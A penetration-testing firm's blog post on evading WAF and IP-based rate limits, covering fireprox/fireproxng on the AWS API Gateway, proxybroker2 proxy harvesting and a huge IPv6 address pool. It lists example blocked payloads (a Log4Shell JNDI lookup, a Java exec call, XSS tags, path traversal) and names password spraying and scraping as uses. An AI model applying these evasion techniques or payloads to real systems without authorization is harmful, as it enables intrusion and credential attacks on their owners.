Tools for Evading External Network Security Controls

Offensive operations require evasion. The days of generating Metasploit payloads and password-spraying Exchange servers are ending. With that in mind, we must consider effective evasion techniques to bypass security controls. Specifically, testers will often find that their attacks against web applications, Office 365, and other external endpoints are quickly blocked. In today's article, we will outline a few tools we use here at Sprocket to help us effectively attack our client's infrastructure.

We will dial in on some tools that help us evade IP-based network security controls.

External Network Evasion Example

Okay, you’ve been tasked with a web application penetration test. After a few manual interactions with the application, it’s time for forced browsing. You run through your standard checklist to get prepped. For example, you’re using a custom ffuf config file, right? If not, here are two very easy changes to make:

• Customize your auto-calibrate strings. This isn’t on by default, but the switch sounds appealing doesn’t it? Of course I want my tool to auto-calibrate. But! A careless -ac switch thrown onto your FFUF command might be burning you. A savvy defender might take notice of the two default directories a standard installation of FFUF will request first (randomtest and admin) and decide to thwart your efforts off the bat.
• Change that User-Agent. Seriously (this goes for nmap and masscan too!). If you haven’t made the change in your configuration file yet, stop what you’re doing and change it. Unless you’re okay approaching your target with a flashing red siren and throwing this header for the world to see: User-Agent: Fuzz Faster U Fool v1.5.0 Kali Exclusive <3

You filter on word count, status code, and content length, and things are going well. And then …. a cascade of 403 errors stream down your terminal. Have you seen that before? We have! Chances are, a web application firewall (WAF) is the culprit and stopping your nefarious activities here.

What do you do? Well, you could throttle your requests and slow things down, but that goes against the primary principle of ffuf! We want to fuzz faster fools, not slower!

What’s most likely happening is the WAF is using the source IP address as a key indicator of attack. While other evasion techniques exist here, we find at Sprocket that rotating our IP addresses keeps us under the radar.

This article won’t be an in-depth WAF bypassing or FFUF configuration guide, but there are a few things to remember when approaching such controls. At a very high level, a WAF will function similarly to the example below and do some or all of the following to varying degrees.

In addition, a WAF may implement some or all of the following conditions and rules:

• After normalization, if the application receives the following patterns in query parameters or body content, return a 403:
  

  ../../
  (java.lang.Runtime).getRuntime().exec("whoami")
  ${jndi:ldap://exploit.sprocketsecurity.com/}
  (?:\\d{4}[\\-\\x20]?){2}\\d{4,5}[\\-\\x20]?(?:\\d{2,4})?
  
  allow_url_fopen

• After decoding the body, if a body or query parameter contains known-malicious tags: Return a 403
  Example Known Malicious Tags:
  

  <script>alert("hello")</script> <script>alert(document.domain)</script>

• The request doesn’t contain a user-agent? Yep, 403
• Trying to access protected URIs like /secret or /mainframe 403 right away
• Query string over 2,048 bytes? Right to 403

And what we’re bypassing today:

If you’d like, you can check out how AWS implements some common patterns specific to payloads or their IP reputation rule groups.

So with all that in mind, let’s fuzz faster and evade external security controls, fools!

Using Fireprox

The widely popular tool fireprox has become an essential part of the offensive security teams’ toolkit. Fireprox allows testers to quickly stand up and utilize the Amazon API Gateway to obscure the source of HTTP requests sent to a specific endpoint.

Credit where credit is due

Fireprox was originally written and distributed by Mike Felch - @ustayready:

ustayready / fireprox

FireProx leverages the AWS API Gateway to create pass-through proxies that rotate the source IP address with every request!

icon-github: https://github.com/ustayready/fireprox

Mike’s tool is excellent, and we have used it here at Sprocket for years. The idea itself for this methodology and early implementations of it can be credited to:

• Ryan Hanson - @ryHanson, the first known source of the API Gateway technique
• Mike Hodges - @rmikehodges made it public at BlackHat Arsenal 2018

I, unfortunately, have been unable to find Mike Hodge's original talk at BlackHat in 2018, but I will share it here if anyone has a link!

The tech

At its core, Fireprox uses an AWS account and the boto3 Python library to stage AWS API gateways.

Amazon API Gateway | API Management | AWS

Create, maintain, and secure APIs at any scale. Amazon API Gateway is a fully managed service that makes it easy for to developers to create and publish.

icon-globe: https://aws.amazon.com/api-gateway/

These gateways, on creation, can be configured to forward traffic to a specific URL. When traffic is sent to an API gateway created using this configuration, the traffic is forwarded to an external endpoint.

Due to the size of Amazon’s owned AWS IP ranges, the traffic originating from that API gateway will almost always originate from a different IP address making attribution and rate limiting of source IP addresses extremely difficult.

Even better, Amazon touts that users of the service are provided with one million free API gateway requests per month, making usage by operators a breeze.

A rewrite

I will not cover the installation and usage of Fireprox as a tool but instead, quickly call out some issues the Sprocket team has experienced since its inception. Fireprox is a standalone, monolithic Python script that can be used locally or with a Dockerfile. With that, on the setup of a new testing host, operators have to clone and install the tool, often using a virtual environment.

Furthermore, the current Fireprox implementation needs to make it easier to create multiple API gateway endpoints, and it is additionally quite difficult to manage existing ones. The proof is in the pudding:

TeamFiltration/

TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts.

icon-github: https://github.com/Flangvik/TeamFiltration

Flangvik’s great tool, TeamFiltration uses a Bash script to manage Fireprox instances.

Feels like we should be doing something more efficient here, right? Sprocket rewrote portions of the original Fireprox tool from the ground up. Due to the drastic rework, Sprocket has decided to split this repo out from the original entirely.

Introducing fireproxng

Sprocket-Security / fireproxng

fireproxng is a refresh of the widely loved fireprox. fireproxng includes some evasion features that are not present in the original fireprox.

icon-github: https://github.com/Sprocket-Security/fireproxng

Fireproxng adds a ton of quality-of-life fixes to the original framework! Some key changes are:

• Packaged the utility for easy install
• Added additional evasion features to the API Gateway
• Support for multiple credential sources
• Support for AWS credential file profiles
• Easy list, update, delete and create subcommands

The new and improved framework is still in early development and is waiting for many additional features to be implemented and instead of documenting everything here, I will direct the reader to the wiki.

We plan to reach out to the author of the original tooling to see if we can merge what we have into the primary repo, but we haven’t gone ahead with it just yet due to a lack of testing. Let us know your thoughts; pull requests are welcome!

Using proxybroker2

Another tool we’ve recently brought into the fold of our evasion tactics is proxybroker2. A new and improved fork of the original ProxyBroker, proxybroker2 aims to add several critical features for a successful anonymous spraying and shenanigans campaign.

Since we’re on the topic of finding, verifying, and abusing proxying services, proxybroker2 works wonderfully to:

1. Locates working proxies from ~50 different sources. We also have the ability to select specific protocols (HTTP(S), SOCKS4/5), and even SMTP), response time, countries (thanks, MaxMind!)
2. Take that list of HTTP(S) proxies, and use them to
3. Proxy your outbound traffic through a local server that distributes and auto-rotates through the external proxies identified above.
4. What’s more, we can make sure our proxy list isn’t on any blocklists, such as those from DNSBL.

With the above in mind, let’s take a quick look example from the source (with a few considerations). Right now, proxybroker2 technically supports Python 3.10 and can be run in a docker container:

docker pull bluet/proxybroker2
docker run -it bluet/proxybroker2 -h

Running the commands above will give you the help menu:

While the original use cases of this tool are likely centered around circumventing censorship and bypassing restrictive egress controls, we here at Sprocket of course, have different things in mind.

Being able to rotate through external proxies quickly and dynamically modifying our requesting IP address makes our jobs that much easier! To collect a list of ten HTTPS proxies in the US, run the following command:

docker run -it bluet/proxybroker2 find -s --types HTTPS -c US -l 10 

The tool will run and you now have a list of 10 “trusted” proxies to play with:

We will leave it up to the reader's imagination, but there is plenty you can do with these. For example, we have written several tools to scrape popular services for information using proxies similar to the ones shown above. Example use cases for the proxies collected with proxybroker2 are as follows:

• LinkedIn scraping
• Search engine scraping
• mitmproxy addon to run ffuf against WAF-protected endpoints
• Scraping paid services for information
• Password spraying certain endpoints at scale

Using http-proxy-ipv6-pool

A very interesting tool rose from the deep recently and might have yet to be noticed by testers in the USA. A Chinese security researcher and developer named zu1k dropped the bombshell of a tool that is http-proxy-ipv6-pool in their article, “Who doesn't want a proxy pool of 2^64 IPs?”:

谁不想要 2^64 个 IP 的代理池

昨天我舍友为了爬虫购买了昂贵的 IP 代理池，我在旁边突然萌生了一个想法，现在各大 ISP/IDC 动不动就给你分配一整个 64 位前缀的 IPv6 网段，我们能不能好好利用一下这庞大的 IPv6 IP 资源呢？

icon-globe: https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/

Translating this to English, we find that zu1k discovered that several cloud providers assign a complete IPv6 subnet to cloud hosts. With some finagling, you can utilize this subnet to send requests from a large range of IPv6 addresses. And when I say large, I mean LARGE:

18,446,744,073,709,551,616

That many addresses, to be exact! In zu1k’s article, he details the setup of this technique, so I won’t detail it here. Regardless, Sprocket has found this technique for evasion extremely effective against certain organizations.

zu1k specifically calls out using Vultr as a provider for their tooling in the original article, and that is what we have been using.

Conclusion

The methods above are just some of the few techniques we use to bypass security controls. Keep in mind, however, that some WAFs are a little smarter than we make them out to be here. Several other articles exist that should get you close to bypassing controls in all aspects of testing. Use them to your advantage, and spray away!

Again, a big thanks to the original authors of the tools mentioned here in this article. Without them, we couldn’t do our jobs. I think all of us can attest to that.

Feel free to reach out with any questions, and don’t hesitate to create a pull request on our Fireprox rewrite with any new ideas!